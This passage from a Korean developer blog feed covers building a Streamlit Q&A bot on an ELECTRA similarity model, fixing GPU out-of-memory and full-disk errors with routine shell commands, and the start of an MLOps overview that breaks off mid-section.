&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1979&quot; data-origin-height=&quot;634&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ehKHA2/btrQK8HNjOS/vfnsWkSRKxmkD1vAqYeMf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ehKHA2/btrQK8HNjOS/vfnsWkSRKxmkD1vAqYeMf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ehKHA2/btrQK8HNjOS/vfnsWkSRKxmkD1vAqYeMf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FehKHA2%2FbtrQK8HNjOS%2FvfnsWkSRKxmkD1vAqYeMf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;608&quot; height=&quot;195&quot; data-origin-width=&quot;1979&quot; data-origin-height=&quot;634&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10개의 질문만 만들었고, 내가 만든 페이지가 정상적으로 동작 시에 더 많은 요소들을 추가할 생각이었다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Error&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 주 강의를 들으면서, 실습을 하면서, 미션을 풀면서 왜 이렇게 많은 라이브러리 충돌이 일어나는지 알수 없을 정도로 너무나 많은 에러를 직면했다. 신기했던 점은 모든 에러가 다 구글에 있다는 점이었다. 시간은 굉장히 많이 들었지만 전부 다 해결할만한 문제들이었다. 너무 답답한 마음에 slack에 공개적으로 질문을 했고, 그에 대한 대답으로 마스터님이 의도하신 바라는 대답을 받았다. 그 때부터 에러를 만나도 조금더 담담해진 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anaconda 환경을 열 몇번을 밀어가며 환경을 맞춘 결과, 결국에는 알맞는 환경을 찾았고, 이제서야 streamlit 개발을 할 수 있었다.&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;과정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 먼저 마스터님이 주신 코드를 살펴봐야 했다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;226&quot; data-origin-height=&quot;360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfF0p4/btrQN8NOAtN/O52aSsBM4sqtAT9ZoKk4xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfF0p4/btrQN8NOAtN/O52aSsBM4sqtAT9ZoKk4xk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfF0p4/btrQN8NOAtN/O52aSsBM4sqtAT9ZoKk4xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfF0p4%2FbtrQN8NOAtN%2FO52aSsBM4sqtAT9ZoKk4xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;176&quot; height=&quot;280&quot; data-origin-width=&quot;226&quot; data-origin-height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;streamlit run app.py로 돌릴 app.py와, 질문과 정답을 저장하고 model_name등을 저장할 config파일 config.yaml과, st.cache를 위한 confirm_button_hack.py와, 우리 모델 매개변수가 담긴 ckpt파일과, Model Class를 담아줄 model.py, model을 가져오고 predict를 해줄 predict.py와, 자질구레한 함수가 저장되어 있는 utils.py가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 한 문장에 대해서 결과를 반환함으로 따로 dataset과 dataloader는 구현하지는 않았다. 일단 가장 간단하게 동작만 하는 baseline을 만들고 싶었다.&lt;/p&gt;
&lt;pre id=&quot;code_1667989922307&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Model(pl.LightningModule):
    def __init__(self, config):
        super().__init__()
        self.save_hyperparameters()

        self.model_name = config.model.model_name
        self.lr = config.train.learning_rate
        self.plm = transformers.AutoModelForSequenceClassification.from_pretrained(
            pretrained_model_name_or_path=self.model_name, num_labels=1)

    def forward(self, x):
        x = self.plm(x)['logits']
        return x&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 model.py다. 전에 사용했던 모델 클라스를 그대로 들고 왔고, 단순히 query 문장에 대해서 모델의 예측 결과만 필요함으로 forward까지만 구현했다.&lt;/p&gt;
&lt;pre id=&quot;code_1667989965511&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import torch
import streamlit as st
from model import Model
import transformers
import yaml
from typing import Tuple
from omegaconf import OmegaConf


@st.cache(allow_output_mutation=True)
def load_model():
    config = OmegaConf.load(f'config.yaml')  # 질문과 정답, model_name등의 인자가 담긴 config 파일  
    model = Model.load_from_checkpoint(model_name='kykim/electra-kor-base', lr=1e-05, checkpoint_path=config['model_path']) # .ckpt파일을 불러오므로 load_from_checkpoint사용
    return model
def tokenizing(s1, s2):
    device = torch.device(&quot;cuda&quot; if torch.cuda.is_available() else &quot;cpu&quot;) 
    config = OmegaConf.load(f'config.yaml')
    data = []
    tokenizer = transformers.AutoTokenizer.from_pretrained(config['model_name'], max_length=50)
    for s in s2: # qeury문과 질문들을 [SEP]으로 합친 후 tokenizer에 넘겨줌
        text = s1+'[SEP]'+s
        outputs = tokenizer(text, add_special_tokens=True, padding='max_length', truncation=True)
        data.append(outputs['input_ids'])
    return data

def get_prediction(model:Model, text) -&amp;gt; Tuple[torch.Tensor, torch.Tensor]:
    config = OmegaConf.load(f'config.yaml')
    device = torch.device(&quot;cuda&quot; if torch.cuda.is_available() else &quot;cpu&quot;)
    qnas = [config['qna'][i][0] for i in range(len(config['qna']))] # 준비한 질문들 리스트
    data =tokenizing(text, qnas)
    outputs = model.forward(torch.tensor(data)) # forward해서 각 질문과의 유사도 예측
    return torch.max(outputs), torch.argmax(outputs)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;predict.py다. 먼저 streamlit은 파일을 수정하거나 입력하면 자동으로 rendering된다고 한다. 모델을 캐시에 저장해서 속도를 향상시키려면 load_model함수 위에 @st.cache()가 필요하다. 그 안에 있는 인자는 output을 바꿀 수 있게 할 것이냐는 조건인데, 만약 없을 시에는 페이지에 다음과 같은 에러가 발생한다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2313&quot; data-origin-height=&quot;1009&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kQlVl/btrQMtrCHDj/1bKLb0khyiUx8kaQmN4I21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kQlVl/btrQMtrCHDj/1bKLb0khyiUx8kaQmN4I21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kQlVl/btrQMtrCHDj/1bKLb0khyiUx8kaQmN4I21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkQlVl%2FbtrQMtrCHDj%2F1bKLb0khyiUx8kaQmN4I21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;803&quot; height=&quot;350&quot; data-origin-width=&quot;2313&quot; data-origin-height=&quot;1009&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델을 저장하고 불러오는 여러 가지 방법이 있는데, 다음과 같다&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;torch.save(model, path)&amp;nbsp;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가중치 뿐만 아니라 optimizer, lr, batch_size 등 모델 전부 저장됨&lt;/li&gt;
&lt;li&gt;지난 번에 학습한 모델을 이어서 학습할 경우라면 사용&lt;/li&gt;
&lt;li&gt;모델의 모든 정보가 있는만큼 용량이 크다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;torch.save(model.state_dict(), path)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모델의 가중치만 딕셔너리 형태로 저장&lt;/li&gt;
&lt;li&gt;이어서 학습할 것이 아니라 예측에 사용될거면 사용&lt;/li&gt;
&lt;li&gt;model 전체를 저장한 것보다는 용량이 적다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;.ckpt
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;학습 중간 가장 성능이 좋았던 모델을 저장한 경우 사용&lt;/li&gt;
&lt;li&gt;Model.load_from_checkpoint(*args, checkpoint_path={path})로 불러올 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장이 되었던 확장자에 대해서도 궁금했는데, .pt, .pth, ..pwf 다 큰 차이점이 없다고 한다. 그러나 Python Path(.pth)랑 확장자가 겹치므로 .pth를 &lt;b&gt;사용하지 않는 것&lt;/b&gt;을 권장한다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 tokenizing 함수는 P stage에서 사용했던 코드를 재사용하였다. s1은 쿼리로 하나의 문자열이고, s2는 준비된 질문들의 리스트이다. s2에서 각 요소를 가져와서 s1과 [SEP]으로 이어준 후 tokenizer에 넣어준 후 반환해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;get_prediction() 함수는 예측을 하는 함수다. Model.predict를 사용할 수도 있겠지만, dataloader를 같이 넣어줘야 한다는 복잡성이 있어서 단순하게 매개변수로 받아온 model을 forward해주어서 예측값을 얻었다. 반환해줄 때는 모든 질문들 중에서 가장 상관계수가 높은 값(max)과 가장 상관계수가 높은 질문의 인덱스(argmax)를 반환해주었다.&lt;/p&gt;
&lt;pre id=&quot;code_1667990786387&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import streamlit as st

import io
import os
import yaml

from PIL import Image
from omegaconf import OmegaConf
from predict import load_model, get_prediction
from model import Model
from confirm_button_hack import cache_on_button_press
os.environ['KMP_DUPLICATE_LIB_OK']='True'
# SETTING PAGE CONFIG TO WIDE MODE
st.set_page_config(layout=&quot;wide&quot;)

def main():
    st.title(&quot;Yongchan's QNA&quot;) # 제목

    config = OmegaConf.load(f'config.yaml') #config 파일
    

    model = load_model()  # 모델 불러오기
    model.eval() 

    text_input = st.text_input(&quot;용찬이에 대해 물어보세요!&quot;) # text란 만듦, 이 값을 받아와서 비교

    if text_input:
        st.write(&quot;용찬이가 대답을 생각하고 있습니다...&quot;) # loading되는 중에 띄울 문구
        p, idx = get_prediction(model, text_input) # get_prediction으로 가져온 최대 상관계수와 가장 상관계수가 높은 질문의 인덱스
        if float(p) &amp;gt; 2.0: # 가장 높은 값이 2.0이하라면 질문이 config에 존재하지 않는 것으로 판단
            st.write(config['qna'][int(idx)][1]) # 질문에 대한 답 출력
        else:
            st.write('생각해본 적 없는 질문이네요.. 조금만 시간을 주시겠어요?') # 준비되어있지 않은 질문할 시에 출력
main()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 st.title()로 제목을 지어준다. 그 다음 config 파일 로드 한 후 model을 load_model로 가져오고, model.eval()로 평가 상태로 바꿔준다. 다음 query 질문을 입력 받아야 하는데, 이를 st.text_input으로 받아온다. 만약 받아온 값이 존재한다면 대답을 해야 하므로 먼저 로딩되는 시간동안 띄울 문구를 st.write으로 정해준다. get_prediction으로 받아온 최고 상관계수와 인덱스를 통해 만약 상관계수가 2.0보다 작다면 query로 들어온 질문이 준비된 질문들과 관계가 없을 가능성이 크므로 생각해본 적 없는 질문이네요.. 조금만 시간을 주시겠어요? 라고 출력하고, 만약 상관계수가 더 크다면 config파일에서 해당하는 인덱스의 1번 째 인덱스(0은 질문, 1은 답)을 가져와서 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;결과&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Streamlit은 녹화하는 기능이 있어서 동영상을 업로드하려고 하였는데 로딩 에러가 계속 나서 사진으로 첨부하겠다. 먼저 메인 화면으로 query 질문을 입력으로 넣으면 답변을 출력하는 페이지다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2550&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HKR7f/btrQUuvWVQT/at11W8JmZFKjF7do81UL60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HKR7f/btrQUuvWVQT/at11W8JmZFKjF7do81UL60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HKR7f/btrQUuvWVQT/at11W8JmZFKjF7do81UL60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHKR7f%2FbtrQUuvWVQT%2Fat11W8JmZFKjF7do81UL60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2550&quot; height=&quot;1102&quot; data-origin-width=&quot;2550&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 준비되있는 질문들 중에서 2.0 이하의 점수들만 존재한다면 관련 있는 질문이 존재하지 않는 것으로 판단하고 따로 설정해둔 문구가 출력된다&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2539&quot; data-origin-height=&quot;890&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beHYJZ/btrQVrrYCMX/j72Y9cDEvnEb356Vvl2Ou0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beHYJZ/btrQVrrYCMX/j72Y9cDEvnEb356Vvl2Ou0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beHYJZ/btrQVrrYCMX/j72Y9cDEvnEb356Vvl2Ou0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeHYJZ%2FbtrQVrrYCMX%2Fj72Y9cDEvnEb356Vvl2Ou0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2539&quot; height=&quot;890&quot; data-origin-width=&quot;2539&quot; data-origin-height=&quot;890&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;아쉬웠던 점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 프로토타입으로 만들었던 웹이었기에 기능이 단순하게 디자인이 허접한 점이 아쉬웠다. 그러나 프로토타입용으로 streamlit을 많이 사용하므로 디자인은 크게 중요하지 않을 수도 있겠다는 생각이 들었다. 나중에 Flask로 웹 개발을 할 때는 디자인에 신경 써보고 싶다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 모델이 예측을 수요하는데 10초가 넘게 걸린다. 이러한 latency 문제를 최종 프로젝트에서 해결해야할텐데 학습을 진행하면서 단순히 모델의 성능을 올리는데 집중하는 것이 아니라 경량화하는 방법도 찾아봐야하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 모델의 예측력이 생각보다 높지 않아 올바른 정답을 출력하는 경우가 많이 없었다. 입력으로 받는 데이터와 학습 데이터와의 차이에서 오는 결과일 수도 있겠다는 생각을 했고, 향후 학습 데이터와 입력 데이터의 분포 차이를 확인하고 전처리를 해주는 MLOps Component를 배우면서 해결해야 하겠다는 생각이 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Project</category>
      <category>Business Model</category>
      <category>Customer service 구현</category>
      <category>QNA 봇</category>
      <category>sts</category>
      <author>daniel7481</author>
      <guid isPermaLink="true">https://developersdream.tistory.com/137</guid>
      <comments>https://developersdream.tistory.com/137#entry137comment</comments>
      <pubDate>Wed, 9 Nov 2022 19:51:03 +0900</pubDate>
    </item>
    <item>
      <title>모델 학습 중 메모리 부족할 때</title>
      <link>https://developersdream.tistory.com/136</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;협소한 견문이지만 P Stage를 진행하면서 OOM이 발생할 때마다 slack에서 다른 분이 올려주신 부분을 보다 보니 직접 정리해야하겠다는 생각이 들었다. 그래서 두 가지 용량 문제를 해결했던 방법을 적으려고 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CUDA out of memory&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확실하지는 않지만! CUDA에서 메모리가 부족하다는 것은 RAM에서 자원이 부족하다는 뜻 같았다. 나 같은 경우에는 다른 모델 학습을 하고 있는데 또 다른 모델 학습을 하려고 한다거나(모델을 많이 돌리다보면 전에 돌리던 모델이 끝난 줄 알았는데 몰래 학습하고 있었던 경우가 많았다) 이런 경우에 자주 발생하는 것 같았다. 이럴 때 해결 방법은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 만약 전에 돌리고 있던 학습이 끝나야 하고 현재 모델을 돌려야 할때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ps -ef&lt;/b&gt;로 지금 진행 중인 process를 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;814&quot; data-origin-height=&quot;390&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c9unCB/btrQJiYg07V/SJkLvjHQs7OJRRnLH0SHmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c9unCB/btrQJiYg07V/SJkLvjHQs7OJRRnLH0SHmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c9unCB/btrQJiYg07V/SJkLvjHQs7OJRRnLH0SHmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc9unCB%2FbtrQJiYg07V%2FSJkLvjHQs7OJRRnLH0SHmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;609&quot; height=&quot;292&quot; data-origin-width=&quot;814&quot; data-origin-height=&quot;390&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자신이 실행했던 script에 해당하는 PPID를 복사한 다음&lt;b&gt; kill -9 {PID}&lt;/b&gt;로 해당 process를 끝낼 수 있다. 그런 다음 모델 학습을 하면 문제가 없다. 위 과정을 진행하면 대부분 문제가 해결되었는데, 만약 해결되지 않았다면 torch.cuda.empty_cache() 터미널에서 한 번 실행해주거나 &lt;b&gt;배치 사이즈를 낮춘 다음 GPU cleaning(노트북이라면 커널 재시작)을 한 번 해준 후 다시 실행해주면 되겠다.&lt;/b&gt; 혹은 pip install GPUtil &amp;gt;&amp;gt; import GPUtil &amp;gt;&amp;gt; GPUtil.showUtilization( )로 현재 GPU 사용량을 보고 어떤 부분에서 메모리가 많이 잡아먹는지 해결하고, inference시에 with torch.no_grad() 등을 잘 해줬는지 확인하면 된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;물리적 스토리지 캐시가 부족할 경우&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델을 많이 돌리다보면 모델의 output과 logging 파일이 쌓여서 물리적인 스토리지가 부족할 수도 있다.&lt;b&gt; OSError: [Errno 28] No space left on device&lt;/b&gt; 라는 에러 메세지가 이를 의미한다. 이런 경우에는 직접 스토리지에서 용량을 많이 차지하는 것이 무엇인지 확인해야 한다. 먼저 &lt;b&gt;df -h&lt;/b&gt;로 물리적 스토리지 용량을 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;661&quot; data-origin-height=&quot;254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgg6hb/btrQN6VUSad/Vj4gIDs0YydQTKqEndIyD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgg6hb/btrQN6VUSad/Vj4gIDs0YydQTKqEndIyD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgg6hb/btrQN6VUSad/Vj4gIDs0YydQTKqEndIyD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbgg6hb%2FbtrQN6VUSad%2FVj4gIDs0YydQTKqEndIyD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;502&quot; height=&quot;193&quot; data-origin-width=&quot;661&quot; data-origin-height=&quot;254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;99G가 사용된 것을 알 수 있다. 이제 직접 비워줘야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 각 디렉토리를 돌아다니면서 &lt;b&gt;du -d 1 -h /&lt;/b&gt;로 용량을 파악할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;524&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWq1iE/btrQN87gHb4/qelaBflkK9FjKWOWQnpwXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWq1iE/btrQN87gHb4/qelaBflkK9FjKWOWQnpwXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWq1iE/btrQN87gHb4/qelaBflkK9FjKWOWQnpwXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWq1iE%2FbtrQN87gHb4%2FqelaBflkK9FjKWOWQnpwXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;489&quot; height=&quot;342&quot; data-origin-width=&quot;524&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 용량이 많이 나가는 디렉토리가 있고, 별로 중요하지 않은(현재 학습에 필요하지 않은)내용일 경우 &lt;b&gt;rm -rf {디렉토리 이름}&lt;/b&gt;으로 지워줄 수 있다. 나 같은 경우에는 학습 후 .cache 디렉토리에 많은 불필요한 용량이 쌓였고, rm -rf ./.cache로 지워주면 3~40G는 확보할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 외로도 아주 많은 문제와 메모리 문제를 맞이할 것 같다. 지금은 aistages에서 제공해준 훌륭한 서버로 별도의 문제는 발생하지 않았지만, 기본적인 것부터 작성해보려고 한다.&lt;/p&gt;</description>
      <category>DL</category>
      <category>CUDA OOM</category>
      <category>out of memory</category>
      <category>딥러닝</category>
      <category>머신러닝</category>
      <category>메모리 문제</category>
      <author>daniel7481</author>
      <guid isPermaLink="true">https://developersdream.tistory.com/136</guid>
      <comments>https://developersdream.tistory.com/136#entry136comment</comments>
      <pubDate>Wed, 9 Nov 2022 14:09:13 +0900</pubDate>
    </item>
    <item>
      <title>AI 서비스 개발 기초</title>
      <link>https://developersdream.tistory.com/134</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;AI 서비스 개발&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 머신러닝 모델에 대해 공부를 했으니 ai 서비스를 개발하는 법을 배우는 시간이다. 나중에 product serving에 대해 자세히 공부하기 전에 간단하게 1주 동안 강의를 듣고, 변성윤 마스터님께서 내준 추가 학습 문제를 정리해보려고 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MLOps가 필요한 이유 이해하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정적으로 주어진 데이터셋만 가지고 학습을 한 모델은 research 용도로만 사용이 되고, 실제로 딥러닝 모델을 상품화 하려면 데이터를 끊임없이 feeding 해주고 모델을 업데이트 해주는 과정이 필요하다. 오래된 데이터로 학습된 데이터는 시간이 갈수록 decay되고, 좋은 성능을 내기 어렵다. 데이터를 모으고, 데이터 품질을 확인하고, 모델에 자동으로 학습이 되고 사용자가 request할 때 모델에서 나온 output을 respond 해주는 과정을 자동화 해주기 위해 MLOps가 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MLOps의 각 Component에 대해 이해하기(왜 이런 Component가 생겼는가?)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Server 인프라&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 GPU에서 학습을 하면 별도의 인프라가 필요하지 않지만, 회사 차원에서 모델을 학습시키고 서비스 유지를 하려면 서버가 필요하다. 또한 서버의 CPU, Memory 성능을 회사의 예산 내에서 설정을 해야 하고, 자체 서버를 구축하거나 클라우드 서비스를 통해 구축할 수 있겠다. GPU를 자체적으로 구매하여 사용하기에 부담이 되면 클라우드 GPU를 사용할 수 있겠다.&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Serving&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Batch serving: 주기적으로 모델이 예측한 값을 반환하여 serving하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 여러 가지 데이터가 한꺼번에 처리되는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 1시간/하루 등 주기적으로 예측해도 괜찮은 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Online serving: 실시간으로 input을 넣으면 output을 예측하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터 하나씩 요청하는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- API 형태로 바로 결과를 반환해야 하는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서버와 통신이 필요한 경우&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Experiment, Model Management&lt;/h4&gt;
